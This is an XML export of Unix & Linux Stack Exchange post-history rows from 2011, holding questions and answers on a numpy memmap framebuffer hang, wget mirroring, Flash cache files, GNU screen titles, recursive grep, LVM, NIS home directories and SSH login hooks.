  <row Id="17141" PostHistoryTypeId="2" PostId="7374" RevisionGUID="f09d1f32-9e69-4de3-8fea-e4fa9b9c502f" CreationDate="2011-02-14T02:46:38.103" UserId="1571" Text="So I'm working with a custom kernel module that I'm writing a python front end for. The kernel module works, and it adds a framebuffer device file to `/dev/fb1`. I can read and write to it fine. I've been using python's `mmap` module to map the device buffer and that seems to work great.&#xD;&#xA;&#xD;&#xA;Now I'm trying to implement numpy, and I'm using numpy's memmap function which, my assumption is, should work similarly. The problem is that opening the device file using numpy's memmap function hangs the kernel (I think).&#xD;&#xA;&#xD;&#xA;This is what I'm doing to initially open the file&#xD;&#xA;&#xD;&#xA;    self.surface = np.memmap(dev, dtype=np.uint16, mode='r+', shape=(320,240))&#xD;&#xA;&#xD;&#xA;The process hangs, and I can't kill python except through `killall python` which presumably leaves the file resource open. Any subsequent accesses to open the file again hang indefinitely, simply doing&#xD;&#xA;&#xD;&#xA;    f = open('/dev/fb1', 'r+b')&#xD;&#xA;&#xD;&#xA;and I get this in dmesg&#xD;&#xA;&#xD;&#xA;    [ 1081.480104] INFO: task python2.6:2834 blocked for more than 120 seconds.&#xD;&#xA;    [ 1081.480109] &quot;echo 0 &gt; /proc/sys/kernel/hung_task_timeout_secs&quot; disables this message.&#xD;&#xA;    [ 1081.480113] python2.6     D 0000000100004eec     0  2834      1 0x00000004&#xD;&#xA;    [ 1081.480118]  ffff88020a175db8 0000000000000086 0000000000000000 0000000000015980&#xD;&#xA;    [ 1081.480122]  ffff88020a175fd8 0000000000015980 ffff88020a175fd8 ffff88022b69adc0&#xD;&#xA;    [ 1081.480127]  0000000000015980 0000000000015980 ffff88020a175fd8 0000000000015980&#xD;&#xA;    [ 1081.480131] Call Trace:&#xD;&#xA;    [ 1081.480142]  [&lt;ffffffff81049b17&gt;] ? mutex_spin_on_owner+0x97/0xc0&#xD;&#xA;    [ 1081.480148]  [&lt;ffffffff81589477&gt;] __mutex_lock_slowpath+0xf7/0x180&#xD;&#xA;    [ 1081.480151]  [&lt;ffffffff8158935b&gt;] mutex_lock+0x2b/0x50&#xD;&#xA;    [ 1081.480157]  [&lt;ffffffff812f3bcf&gt;] fb_release+0x1f/0x60&#xD;&#xA;    [ 1081.480161]  [&lt;ffffffff81154825&gt;] __fput+0xf5/0x210&#xD;&#xA;    [ 1081.480164]  [&lt;ffffffff81154965&gt;] fput+0x25/0x30&#xD;&#xA;    [ 1081.480168]  [&lt;ffffffff81123d35&gt;] remove_vma+0x45/0x90&#xD;&#xA;    [ 1081.480171]  [&lt;ffffffff81126179&gt;] do_munmap+0x309/0x3a0&#xD;&#xA;    [ 1081.480174]  [&lt;ffffffff81126266&gt;] sys_munmap+0x56/0x80&#xD;&#xA;    [ 1081.480180]  [&lt;ffffffff8100a0f2&gt;] system_call_fastpath+0x16/0x1b&#xD;&#xA;    [ 1081.480183] INFO: task ipython:2856 blocked for more than 120 seconds.&#xD;&#xA;    [ 1081.480185] &quot;echo 0 &gt; /proc/sys/kernel/hung_task_timeout_secs&quot; disables this message.&#xD;&#xA;    [ 1081.480187] ipython       D ffff880256e92018     0  2856   1841 0x00000000&#xD;&#xA;    [ 1081.480191]  ffff88022341fb58 0000000000000086 ffffffff81625f10 0000000000015980&#xD;&#xA;    [ 1081.480196]  ffff88022341ffd8 0000000000015980 ffff88022341ffd8 ffff88022b7c16e0&#xD;&#xA;    [ 1081.480200]  0000000000015980 0000000000015980 ffff88022341ffd8 0000000000015980&#xD;&#xA;    [ 1081.480204] Call Trace:&#xD;&#xA;    [ 1081.480207]  [&lt;ffffffff81589477&gt;] __mutex_lock_slowpath+0xf7/0x180&#xD;&#xA;    [ 1081.480210]  [&lt;ffffffff8158935b&gt;] mutex_lock+0x2b/0x50&#xD;&#xA;    [ 1081.480214]  [&lt;ffffffff812f3cd8&gt;] fb_open+0xc8/0x200&#xD;&#xA;    [ 1081.480217]  [&lt;ffffffff8115657d&gt;] ? cdev_get+0x2d/0xb0&#xD;&#xA;    [ 1081.480221]  [&lt;ffffffff81156e6a&gt;] chrdev_open+0x10a/0x200&#xD;&#xA;    [ 1081.480225]  [&lt;ffffffff810878a1&gt;] ? in_group_p+0x31/0x40&#xD;&#xA;    [ 1081.480228]  [&lt;ffffffff81156d60&gt;] ? chrdev_open+0x0/0x200&#xD;&#xA;    [ 1081.480232]  [&lt;ffffffff811512c5&gt;] __dentry_open+0xe5/0x330&#xD;&#xA;    [ 1081.480237]  [&lt;ffffffff81260e4f&gt;] ? security_inode_permission+0x1f/0x30&#xD;&#xA;    [ 1081.480240]  [&lt;ffffffff81151624&gt;] nameidata_to_filp+0x54/0x70&#xD;&#xA;    [ 1081.480244]  [&lt;ffffffff8115e398&gt;] finish_open+0xe8/0x1d0&#xD;&#xA;    [ 1081.480248]  [&lt;ffffffff8116701f&gt;] ? dput+0xdf/0x1b0&#xD;&#xA;    [ 1081.480251]  [&lt;ffffffff8115f7f6&gt;] do_last+0x86/0x460&#xD;&#xA;    [ 1081.480254]  [&lt;ffffffff81161b2b&gt;] do_filp_open+0x21b/0x660&#xD;&#xA;    [ 1081.480259]  [&lt;ffffffff8112117f&gt;] ? handle_mm_fault+0x32f/0x440&#xD;&#xA;    [ 1081.480263]  [&lt;ffffffff8116d33a&gt;] ? alloc_fd+0x10a/0x150&#xD;&#xA;    [ 1081.480266]  [&lt;ffffffff81151069&gt;] do_sys_open+0x69/0x170&#xD;&#xA;    [ 1081.480270]  [&lt;ffffffff811511b0&gt;] sys_open+0x20/0x30&#xD;&#xA;    [ 1081.480273]  [&lt;ffffffff8100a0f2&gt;] system_call_fastpath+0x16/0x1b&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I guess my question is, can I manually kill the system call? Or somehow get the mutex unlocked? Or am I totally missing what the error is telling me.&#xD;&#xA;&#xD;&#xA;The weird thing is that even just the memmap call corrupts the framebuffer and writes garbage to my display. I'm guessing this is just numpy not working well with device files.&#xD;&#xA;" />
  <row Id="17142" PostHistoryTypeId="1" PostId="7374" RevisionGUID="f09d1f32-9e69-4de3-8fea-e4fa9b9c502f" CreationDate="2011-02-14T02:46:38.103" UserId="1571" Text="Hung system call" />
  <row Id="17143" PostHistoryTypeId="3" PostId="7374" RevisionGUID="f09d1f32-9e69-4de3-8fea-e4fa9b9c502f" CreationDate="2011-02-14T02:46:38.103" UserId="1571" Text="ékernelàéfilesystemsàépythonàésystemöcallsàémmapà" />
  <row Id="17144" PostHistoryTypeId="5" PostId="7374" RevisionGUID="666f8ba5-eaf5-42c8-a2bd-26e7deb4026e" CreationDate="2011-02-14T03:08:05.410" UserId="1571" Comment="added 400 characters in body" Text="So I'm working with a custom kernel module that I'm writing a python front end for. The kernel module works, and it adds a framebuffer device file to `/dev/fb1`. I can read and write to it fine. I've been using python's `mmap` module to map the device buffer and that seems to work great.&#xD;&#xA;&#xD;&#xA;Now I'm trying to implement numpy, and I'm using numpy's memmap function which, my assumption is, should work similarly. The problem is that opening the device file using numpy's memmap function hangs the kernel (I think).&#xD;&#xA;&#xD;&#xA;This is what I'm doing to initially open the file&#xD;&#xA;&#xD;&#xA;    self.surface = np.memmap(dev, dtype=np.uint16, mode='r+', shape=(320,240))&#xD;&#xA;&#xD;&#xA;The process hangs, and I can't kill python except through `killall python` which presumably leaves the file resource open. Any subsequent accesses to open the file again hang indefinitely, simply doing&#xD;&#xA;&#xD;&#xA;    f = open('/dev/fb1', 'r+b')&#xD;&#xA;&#xD;&#xA;and I get this in dmesg&#xD;&#xA;&#xD;&#xA;    [ 1081.480104] INFO: task python2.6:2834 blocked for more than 120 seconds.&#xD;&#xA;    [ 1081.480109] &quot;echo 0 &gt; /proc/sys/kernel/hung_task_timeout_secs&quot; disables this message.&#xD;&#xA;    [ 1081.480113] python2.6     D 0000000100004eec     0  2834      1 0x00000004&#xD;&#xA;    [ 1081.480118]  ffff88020a175db8 0000000000000086 0000000000000000 0000000000015980&#xD;&#xA;    [ 1081.480122]  ffff88020a175fd8 0000000000015980 ffff88020a175fd8 ffff88022b69adc0&#xD;&#xA;    [ 1081.480127]  0000000000015980 0000000000015980 ffff88020a175fd8 0000000000015980&#xD;&#xA;    [ 1081.480131] Call Trace:&#xD;&#xA;    [ 1081.480142]  [&lt;ffffffff81049b17&gt;] ? mutex_spin_on_owner+0x97/0xc0&#xD;&#xA;    [ 1081.480148]  [&lt;ffffffff81589477&gt;] __mutex_lock_slowpath+0xf7/0x180&#xD;&#xA;    [ 1081.480151]  [&lt;ffffffff8158935b&gt;] mutex_lock+0x2b/0x50&#xD;&#xA;    [ 1081.480157]  [&lt;ffffffff812f3bcf&gt;] fb_release+0x1f/0x60&#xD;&#xA;    [ 1081.480161]  [&lt;ffffffff81154825&gt;] __fput+0xf5/0x210&#xD;&#xA;    [ 1081.480164]  [&lt;ffffffff81154965&gt;] fput+0x25/0x30&#xD;&#xA;    [ 1081.480168]  [&lt;ffffffff81123d35&gt;] remove_vma+0x45/0x90&#xD;&#xA;    [ 1081.480171]  [&lt;ffffffff81126179&gt;] do_munmap+0x309/0x3a0&#xD;&#xA;    [ 1081.480174]  [&lt;ffffffff81126266&gt;] sys_munmap+0x56/0x80&#xD;&#xA;    [ 1081.480180]  [&lt;ffffffff8100a0f2&gt;] system_call_fastpath+0x16/0x1b&#xD;&#xA;    [ 1081.480183] INFO: task ipython:2856 blocked for more than 120 seconds.&#xD;&#xA;    [ 1081.480185] &quot;echo 0 &gt; /proc/sys/kernel/hung_task_timeout_secs&quot; disables this message.&#xD;&#xA;    [ 1081.480187] ipython       D ffff880256e92018     0  2856   1841 0x00000000&#xD;&#xA;    [ 1081.480191]  ffff88022341fb58 0000000000000086 ffffffff81625f10 0000000000015980&#xD;&#xA;    [ 1081.480196]  ffff88022341ffd8 0000000000015980 ffff88022341ffd8 ffff88022b7c16e0&#xD;&#xA;    [ 1081.480200]  0000000000015980 0000000000015980 ffff88022341ffd8 0000000000015980&#xD;&#xA;    [ 1081.480204] Call Trace:&#xD;&#xA;    [ 1081.480207]  [&lt;ffffffff81589477&gt;] __mutex_lock_slowpath+0xf7/0x180&#xD;&#xA;    [ 1081.480210]  [&lt;ffffffff8158935b&gt;] mutex_lock+0x2b/0x50&#xD;&#xA;    [ 1081.480214]  [&lt;ffffffff812f3cd8&gt;] fb_open+0xc8/0x200&#xD;&#xA;    [ 1081.480217]  [&lt;ffffffff8115657d&gt;] ? cdev_get+0x2d/0xb0&#xD;&#xA;    [ 1081.480221]  [&lt;ffffffff81156e6a&gt;] chrdev_open+0x10a/0x200&#xD;&#xA;    [ 1081.480225]  [&lt;ffffffff810878a1&gt;] ? in_group_p+0x31/0x40&#xD;&#xA;    [ 1081.480228]  [&lt;ffffffff81156d60&gt;] ? chrdev_open+0x0/0x200&#xD;&#xA;    [ 1081.480232]  [&lt;ffffffff811512c5&gt;] __dentry_open+0xe5/0x330&#xD;&#xA;    [ 1081.480237]  [&lt;ffffffff81260e4f&gt;] ? security_inode_permission+0x1f/0x30&#xD;&#xA;    [ 1081.480240]  [&lt;ffffffff81151624&gt;] nameidata_to_filp+0x54/0x70&#xD;&#xA;    [ 1081.480244]  [&lt;ffffffff8115e398&gt;] finish_open+0xe8/0x1d0&#xD;&#xA;    [ 1081.480248]  [&lt;ffffffff8116701f&gt;] ? dput+0xdf/0x1b0&#xD;&#xA;    [ 1081.480251]  [&lt;ffffffff8115f7f6&gt;] do_last+0x86/0x460&#xD;&#xA;    [ 1081.480254]  [&lt;ffffffff81161b2b&gt;] do_filp_open+0x21b/0x660&#xD;&#xA;    [ 1081.480259]  [&lt;ffffffff8112117f&gt;] ? handle_mm_fault+0x32f/0x440&#xD;&#xA;    [ 1081.480263]  [&lt;ffffffff8116d33a&gt;] ? alloc_fd+0x10a/0x150&#xD;&#xA;    [ 1081.480266]  [&lt;ffffffff81151069&gt;] do_sys_open+0x69/0x170&#xD;&#xA;    [ 1081.480270]  [&lt;ffffffff811511b0&gt;] sys_open+0x20/0x30&#xD;&#xA;    [ 1081.480273]  [&lt;ffffffff8100a0f2&gt;] system_call_fastpath+0x16/0x1b&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I guess my question is, can I manually kill the system call? Or somehow get the mutex unlocked? Or am I totally missing what the error is telling me.&#xD;&#xA;&#xD;&#xA;The weird thing is that even just the memmap call corrupts the framebuffer and writes garbage to my display. I'm guessing this is just numpy not working well with device files.&#xD;&#xA;&#xD;&#xA;**Update**:&#xD;&#xA;&#xD;&#xA;Tis is the output from ps -l. The first python is the one that originally ran the numpy `memmap` call (at least I'm fairly sure). The second ipython is after the first process hung running a simple plain python open call.&#xD;&#xA;&#xD;&#xA;    0 D  1000  2834     1  0  80   0 - 22101 fb_rel ?        00:00:00 python2.6&#xD;&#xA;    0 D  1000  2856  1841  0  80   0 - 15065 fb_ope pts/1    00:00:00 ipython" />
  <row Id="17145" PostHistoryTypeId="2" PostId="7375" RevisionGUID="bd04eee1-4655-40bf-869f-ea95cad7ba9d" CreationDate="2011-02-14T03:21:56.533" UserId="822" Text="I downloaded a website using:&#xD;&#xA;&#xD;&#xA;    wget -c --mirror -p http://www.somewebsite.com&#xD;&#xA;&#xD;&#xA;for offline viewing and I just remembered that I forgot the --convert-links option! They are all on my hard drive right now. Is there a way to do --convert-links without redownloading the whole website?" />
  <row Id="17146" PostHistoryTypeId="1" PostId="7375" RevisionGUID="bd04eee1-4655-40bf-869f-ea95cad7ba9d" CreationDate="2011-02-14T03:21:56.533" UserId="822" Text="Convert links of downloaded website" />
  <row Id="17147" PostHistoryTypeId="3" PostId="7375" RevisionGUID="bd04eee1-4655-40bf-869f-ea95cad7ba9d" CreationDate="2011-02-14T03:21:56.533" UserId="822" Text="éwgetà" />
  <row Id="17148" PostHistoryTypeId="2" PostId="7376" RevisionGUID="6fda4daf-2bd3-464e-a671-9c543e60afb6" CreationDate="2011-02-14T03:28:15.120" UserId="250" Text="To find proprietary driver for ATI card head to the [ATI download page][1] and check if a Linux driver is available for your model. Alternatively, you can use Ubuntu's driver finder by going to System -&gt; Administration -&gt; Hardware Drivers.&#xD;&#xA;&#xD;&#xA;If installing the driver doesn't help try the newest version of Flash by [getting it from Adobe][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://support.amd.com/us/gpudownload/Pages/index.aspx&#xD;&#xA;  [2]: http://get.adobe.com/flashplayer/" />
  <row Id="17149" PostHistoryTypeId="12" PostId="7375" RevisionGUID="ad7af308-eef8-471e-a3cd-886d7acad91f" CreationDate="2011-02-14T03:51:15.357" UserId="822" Text="[{&quot;Id&quot;:822,&quot;DisplayName&quot;:&quot;Coding District&quot;}]" />
  <row Id="17150" PostHistoryTypeId="5" PostId="7373" RevisionGUID="fe63aa6b-9f4a-4271-9e22-119ee47dedf9" CreationDate="2011-02-14T05:18:19.423" UserId="4335" Comment="added 2 characters in body" Text="Hello,&#xD;&#xA;&#xD;&#xA;Earlier Google Chrome used to store Youtube videos in `/tmp` but since the last two versions, it doesn't store there. Nor could I find those files in `~/.cache/google-chrome`. Googling for this query produces Windows specific results. Does anyone have any idea about where these files are stored?&#xD;&#xA;&#xD;&#xA;I am using Fedora 14.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="17151" PostHistoryTypeId="25" PostId="7374" RevisionGUID="51684798-faf7-42dc-81e5-8d084337103c" CreationDate="2011-02-14T05:22:46.613" Comment="http://twitter.com/#!/StackUnix/status/37018893230800896" />
  <row Id="17152" PostHistoryTypeId="5" PostId="7051" RevisionGUID="12682e93-127a-4c9d-9e67-c763fbb9a000" CreationDate="2011-02-14T07:29:22.257" UserId="688" Comment="deleted 118 characters in body" Text="I find that in order to re-mount a USB stick, I have to physically disconnect it, and then re-connect it. How can I do this without such tiring physical action?&#xD;&#xA;" />
  <row Id="17153" PostHistoryTypeId="13" PostId="7375" RevisionGUID="727bd98f-dba5-46cd-999a-501a18b357df" CreationDate="2011-02-14T07:38:33.387" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="17154" PostHistoryTypeId="25" PostId="7375" RevisionGUID="d22ae451-03e1-48e9-b0de-7ae141beda8c" CreationDate="2011-02-14T08:22:46.387" Comment="http://twitter.com/#!/StackUnix/status/37064191130992640" />
  <row Id="17155" PostHistoryTypeId="2" PostId="7377" RevisionGUID="2d5e1baf-7fa8-4f36-aa0e-30afb9823fda" CreationDate="2011-02-14T08:44:38.257" UserId="688" Text="The option for that is `--timestamping`. Check the section on **Time-Stamping** in wget's manpage." />
  <row Id="17156" PostHistoryTypeId="5" PostId="7377" RevisionGUID="53c67cdf-91c7-49fe-b126-423c2ebe05b2" CreationDate="2011-02-14T08:49:43.073" UserId="688" Comment="added 72 characters in body; deleted 5 characters in body" Text="The option for that is `--timestamping`. Either that, or having `timestamping = on` in &quot;**~/.wgetrc**&quot;. See the section **Time-Stamping** in wget's manpage for more." />
  <row Id="17157" PostHistoryTypeId="5" PostId="7377" RevisionGUID="54c166ec-e0f5-438e-ab1c-76e2d252ea47" CreationDate="2011-02-14T08:54:43.147" UserId="688" Comment="added 148 characters in body" Text="The option for that is `--timestamping`. Either that, or having `timestamping = on` in &quot;**~/.wgetrc**&quot;. See the section **Time-Stamping** in wget's manpage for more.&#xD;&#xA;&#xD;&#xA;FWIW I use this to mirror my blog: `wget --mirror --adjust-extension --convert-links --no-cookies --timestamping http://my-blog.net -o log-main`" />
  <row Id="17158" PostHistoryTypeId="2" PostId="7378" RevisionGUID="9722bda9-ee44-41da-9fe8-1caeac833548" CreationDate="2011-02-14T09:20:24.670" UserId="1946" Text="Straightforward one: serve local directory with something like SimpleHTTPServer, then re-`wget` from localhost with appropriate options." />
  <row Id="17159" PostHistoryTypeId="2" PostId="7379" RevisionGUID="f5f7dfab-cfcb-479d-b3f5-41c47c168929" CreationDate="2011-02-14T09:23:20.320" UserId="4701" Text="You can adapt the script found [here][1] it works for me using Google Chrome on Debian.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webupd8.org/2011/02/play-youtube-videos-without-flash-from.html" />
  <row Id="17160" PostHistoryTypeId="2" PostId="7380" RevisionGUID="eba6efb8-7dcf-4470-be2d-bdf0d46b976f" CreationDate="2011-02-14T09:47:25.083" UserId="4755" Text="Hi,&#xD;&#xA;&#xD;&#xA;By default, the title of a screen session is the name of the last command entered, which is fine for me, but in some cases I'd like to change it. I know the command `Ctrl-A A` but it only changes the title until the next command, and I'd like it to stay there until I decide otherwise.&#xD;&#xA;&#xD;&#xA;Any clue?&#xD;&#xA;Thanks." />
  <row Id="17161" PostHistoryTypeId="1" PostId="7380" RevisionGUID="eba6efb8-7dcf-4470-be2d-bdf0d46b976f" CreationDate="2011-02-14T09:47:25.083" UserId="4755" Text="Force title on GNU sceen" />
  <row Id="17162" PostHistoryTypeId="3" PostId="7380" RevisionGUID="eba6efb8-7dcf-4470-be2d-bdf0d46b976f" CreationDate="2011-02-14T09:47:25.083" UserId="4755" Text="éscreenàégnuà" />
  <row Id="17163" PostHistoryTypeId="5" PostId="7380" RevisionGUID="5467114d-db10-4db9-9754-079cf539383d" CreationDate="2011-02-14T09:55:05.637" UserId="73" Comment="added 5 characters in body; edited title" Text="By default, the title of a screen session is the name of the last command entered, which is fine for me, but in some cases I'd like to change it. I know the command &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt;, but it only changes the title until the next command, and I'd like it to stay there until I decide otherwise.&#xD;&#xA;" />
  <row Id="17164" PostHistoryTypeId="4" PostId="7380" RevisionGUID="5467114d-db10-4db9-9754-079cf539383d" CreationDate="2011-02-14T09:55:05.637" UserId="73" Comment="added 5 characters in body; edited title" Text="Force title on GNU screen" />
  <row Id="17165" PostHistoryTypeId="2" PostId="7381" RevisionGUID="f975f959-2594-4ac4-b2d9-8bf310112f32" CreationDate="2011-02-14T10:22:47.390" UserId="3625" Text="Use this bash script to get a list with all temporarily saved flashvideos:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env bash&#xD;&#xA;    &#xD;&#xA;    for flashpid in $(pgrep -f flashplayer.so); do&#xD;&#xA;        cd &quot;/proc/$flashpid/fd&quot;&#xD;&#xA;        for video in $(file * | grep '/tmp/Flash' | sed 's/\(^[0-9]*\).*/\1/g'); do&#xD;&#xA;            echo &quot;/proc/$flashpid/fd/$video&quot;&#xD;&#xA;        done&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Mark the script as executable and run, for example to view the videos, the following:&#xD;&#xA;&#xD;&#xA;    flashget.sh | xargs mplayer&#xD;&#xA;&#xD;&#xA;Sorry for my bad english, but I try to explain: Since Flash 10.1 all /tmp file system entries getting deleted as soon as the flash player opens them. But the file itself still exists, since the kernel only deletes the file if the hardlinks doesnt exists anymore. Only the flashplugin knows where the file/video is. Luckily, the kernel can tell us which process has which filehandle open. So, there are still hardlinks for these files located at /proc/$PID/fd." />
  <row Id="17166" PostHistoryTypeId="2" PostId="7382" RevisionGUID="d0de29c3-1968-474a-abca-a533eefe5e99" CreationDate="2011-02-14T10:44:55.507" UserId="3169" Text="Depends how things are set up, but by default, something like this should work.&#xD;&#xA;&#xD;&#xA;    settitle() {&#xD;&#xA;        printf &quot;\033k$1\033\\&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then run:&#xD;&#xA;&#xD;&#xA;`settitle NEWTITLE`.&#xD;&#xA;&#xD;&#xA;How long it stays as your title depends on your settings, e.g. `$PS1`, `$PROMPT_COMMAND`, etc.&#xD;&#xA;&#xD;&#xA;See [screen title docs][1] and [GNU screen faq][2] for more details.&#xD;&#xA;&#xD;&#xA;  [1]: http://web.mit.edu/gnu/doc/html/screen_9.html#SEC37&#xD;&#xA;  [2]: http://aperiodic.net/screen/faq#how_can_screen_use_xterm_s_title_bar" />
  <row Id="17167" PostHistoryTypeId="25" PostId="7380" RevisionGUID="ebdba35e-7c85-46e7-8019-bc682fb711fb" CreationDate="2011-02-14T11:22:46.493" Comment="http://twitter.com/#!/StackUnix/status/37109489849073664" />
  <row Id="17168" PostHistoryTypeId="12" PostId="7377" RevisionGUID="6e481a4b-ed63-4845-ae23-1172e5d43404" CreationDate="2011-02-14T13:02:13.660" UserId="688" Text="[{&quot;Id&quot;:688,&quot;DisplayName&quot;:&quot;Tshepang&quot;}]" />
  <row Id="17169" PostHistoryTypeId="13" PostId="7377" RevisionGUID="c33a59a4-ccee-445c-bc1d-fa60fd1c7458" CreationDate="2011-02-14T13:11:59.253" UserId="688" Text="[{&quot;Id&quot;:688,&quot;DisplayName&quot;:&quot;Tshepang&quot;}]" />
  <row Id="17170" PostHistoryTypeId="5" PostId="7377" RevisionGUID="6c61dcc6-127d-4191-b933-61b04cbed84d" CreationDate="2011-02-14T13:13:25.400" UserId="688" Comment="added 102 characters in body; edited body; added 29 characters in body" Text="Also, don't forget to use the option `--timestamping`. Do either that, or add `timestamping = on` to &quot;**~/.wgetrc**&quot;. It ensures that when you re-mirror the website, you don't re-download the whole website, but only changed/new files. See the section **Time-Stamping** in wget's manpage for more.&#xD;&#xA;&#xD;&#xA;FWIW I use this to mirror my blog: `wget --mirror --adjust-extension --convert-links --no-cookies --timestamping http://my-blog.net -o log-blog`" />
  <row Id="17171" PostHistoryTypeId="2" PostId="7383" RevisionGUID="439c32cb-767e-422d-bb6e-1d64c795ba25" CreationDate="2011-02-14T13:16:23.087" UserId="4757" Text="In Windows, if I wanted to find a string across all files in all subdirectories, I would do something like&#xD;&#xA;&#xD;&#xA;    findstr /C:&quot;the string&quot; /S *.h&#xD;&#xA;&#xD;&#xA;However, in Linux (say, Ubuntu) I have found no other way than some piped command involving `find`, `xargs`, and `grep` (an example is at this page: [How can I recursively grep through sub-directories?][1]). However, my question is different: is there any *single, built-in command* that works through this magic, without having to write my shell script?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://aplawrence.com/Unixart/recursivegrep.html" />
  <row Id="17172" PostHistoryTypeId="1" PostId="7383" RevisionGUID="439c32cb-767e-422d-bb6e-1d64c795ba25" CreationDate="2011-02-14T13:16:23.087" UserId="4757" Text="Finding a substring in files across subdirectories with a single built-in command?" />
  <row Id="17173" PostHistoryTypeId="3" PostId="7383" RevisionGUID="439c32cb-767e-422d-bb6e-1d64c795ba25" CreationDate="2011-02-14T13:16:23.087" UserId="4757" Text="éubuntuàéfindàégrepàérecursiveà" />
  <row Id="17174" PostHistoryTypeId="2" PostId="7384" RevisionGUID="ae5125b1-92fa-41e9-b88e-15a496a88c99" CreationDate="2011-02-14T13:26:07.620" UserId="4667" Text="No.  `find -name \*.h -print0 | xargs -0 grep -l 'the regex'` is as magic as it gets." />
  <row Id="17175" PostHistoryTypeId="2" PostId="7385" RevisionGUID="8a4216ab-9661-47c7-8ec6-3daf2e6f68d4" CreationDate="2011-02-14T13:40:09.757" UserId="3069" Text="GNU grep allows searching recursively through subdirectories:&#xD;&#xA;&#xD;&#xA;    grep -r --include='*.h' 'the string' *" />
  <row Id="17176" PostHistoryTypeId="2" PostId="7386" RevisionGUID="665b1bd9-02ad-4fc5-942f-51a88bf534fa" CreationDate="2011-02-14T14:16:34.503" UserId="3466" Text="Last week I attempted to &quot;migrate&quot; a disk (sdb) that was being used in LVM from one CentOS installation to another. By &quot;migrate&quot;, I mean I reinstalled the OS (on sda) and I didn't follow the instructions on LVM migrating (&lt;http://tldp.org/HOWTO/LVM-HOWTO/recipemovevgtonewsys.html&gt;). &#xD;&#xA;&#xD;&#xA;Instead what I did was reinstall the OS on sda and attempted to add sdb back to LVM by doing a `pvscan`, which allowed LVM to see the physical volume again and then I ran `vgcreate` supplying the same volume group name as before, thinking it would either use the existing volume group, or give me an error saying the volume group couldn't be added. Unfortunately for me, the command just created the volume group and didn't add any of the underlying logical volumes.&#xD;&#xA;&#xD;&#xA;Is there any way to get the logical volumes that are on sdb to the volume group I created?" />
  <row Id="17177" PostHistoryTypeId="1" PostId="7386" RevisionGUID="665b1bd9-02ad-4fc5-942f-51a88bf534fa" CreationDate="2011-02-14T14:16:34.503" UserId="3466" Text="Recreated VG. Is it possible to add existing LVs to it?" />
  <row Id="17178" PostHistoryTypeId="3" PostId="7386" RevisionGUID="665b1bd9-02ad-4fc5-942f-51a88bf534fa" CreationDate="2011-02-14T14:16:34.503" UserId="3466" Text="élvmà" />
  <row Id="17179" PostHistoryTypeId="25" PostId="7383" RevisionGUID="ce753226-e67b-427c-a13e-19fcf5274b91" CreationDate="2011-02-14T14:22:46.733" Comment="http://twitter.com/#!/StackUnix/status/37154788974010368" />
  <row Id="17180" PostHistoryTypeId="5" PostId="7356" RevisionGUID="582c987b-9b36-4e41-ab7a-eb0643752425" CreationDate="2011-02-14T14:33:46.857" UserId="2688" Comment="deleted 3 characters in body" Text="**Far** more important that a particular convention is being consistent.  Pick a style, and stick with it." />
  <row Id="17181" PostHistoryTypeId="2" PostId="7387" RevisionGUID="b7e2b395-d136-4a03-aef8-780af293758e" CreationDate="2011-02-14T14:34:30.993" UserId="4292" Text="We have a NIS server with shared users' home directories in '/home'.&#xD;&#xA;&#xD;&#xA;We're used to mounting the server's '/home' using '/home' as the mount point on each NIS client.&#xD;&#xA;&#xD;&#xA;However, if we do this with a machine that has existing local users, their home directories will not be accessible because '/home' is now a mount point to the server.&#xD;&#xA;&#xD;&#xA;How can we make both local and remote users' home directories accessible on the client?" />
  <row Id="17182" PostHistoryTypeId="1" PostId="7387" RevisionGUID="b7e2b395-d136-4a03-aef8-780af293758e" CreationDate="2011-02-14T14:34:30.993" UserId="4292" Text="NIS: How to allow access to both local and remote users' home directories?" />
  <row Id="17183" PostHistoryTypeId="3" PostId="7387" RevisionGUID="b7e2b395-d136-4a03-aef8-780af293758e" CreationDate="2011-02-14T14:34:30.993" UserId="4292" Text="émountàéusersàénisà" />
  <row Id="17184" PostHistoryTypeId="2" PostId="7388" RevisionGUID="ececb2e2-3fb0-473f-96c5-821b1c051136" CreationDate="2011-02-14T15:16:55.057" UserId="4695" Text="What you can do is to setup an autofs mountpoint in, say, /home2. Then set each user's home directory as /home2/machine/user. If you set autofs to mount machine:/home in /home2/machine, then you have what you want, because the local /home can be mounted as /home2/localmachinename. And you can of course configure autofs via NIS." />
  <row Id="17187" PostHistoryTypeId="2" PostId="7390" RevisionGUID="14eca0e2-8d39-482b-ab78-9f2c4fe0db44" CreationDate="2011-02-14T15:28:27.510" UserId="250" Text="Is there a way to run a script/command every time a user connects using ssh? Can it be configured globally (i.e run the script when **any** user login)?&#xD;&#xA;&#xD;&#xA;I came across this question on Identica, but there is no answer yet and would like to know it anyway." />
  <row Id="17188" PostHistoryTypeId="1" PostId="7390" RevisionGUID="14eca0e2-8d39-482b-ab78-9f2c4fe0db44" CreationDate="2011-02-14T15:28:27.510" UserId="250" Text="Ssh login hook?" />
  <row Id="17189" PostHistoryTypeId="3" PostId="7390" RevisionGUID="14eca0e2-8d39-482b-ab78-9f2c4fe0db44" CreationDate="2011-02-14T15:28:27.510" UserId="250" Text="ésshàéhookà" />
